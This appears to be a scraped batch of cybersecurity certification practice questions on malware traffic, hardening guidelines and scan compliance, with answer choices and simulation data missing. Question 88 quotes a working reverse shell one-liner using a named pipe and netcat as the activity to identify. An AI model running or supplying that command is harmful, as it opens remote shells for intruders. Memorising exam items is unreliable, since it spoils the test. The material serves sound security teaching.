Question 86

During a review of recent network traffic, an analyst realizes the team has seen this same traffic multiple times in the past three weeks, and it resulted in confirmed malware activity. The analyst also notes there is no other alert in place for this traffic After resolving the security incident, which of the following would be the BEST action for the analyst to take to increase the chance of detecting this traffic in the future?
  • Question 87

    You are a penetration tester who is reviewing the system hardening guidelines for a company. Hardening guidelines indicate the following.
    There must be one primary server or service per device.
    Only default port should be used
    Non- secure protocols should be disabled.
    The corporate internet presence should be placed in a protected subnet
    Instructions :
    Using the available tools, discover devices on the corporate network and the services running on these devices.
    You must determine
    ip address of each device
    The primary server or service each device
    The protocols that should be disabled based on the hardening guidelines

    Question 88

    A security analyst detected the following suspicious activity:
    rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1
    1234 > tmp/f
    Which of the following most likely describes the activity?
  • Question 89

    You are a cybersecurity analyst tasked with interpreting scan data from Company As servers You must verify the requirements are being met for all of the servers and recommend changes if you find they are not
    The company's hardening guidelines indicate the following
    * TLS 1 2 is the only version of TLS
    running.
    * Apache 2.4.18 or greater should be used.
    * Only default ports should be used.
    INSTRUCTIONS
    using the supplied dat
    a. record the status of compliance With the company's guidelines for each server.
    The question contains two parts: make sure you complete Part 1 and Part 2. Make recommendations for Issues based ONLY on the hardening guidelines provided.
    Part 1:

    AppServ2:

    AppServ3:

    AppServ4:


    Part 2:

    Question 90

    Which of the following will most likely cause severe issues with authentication and logging?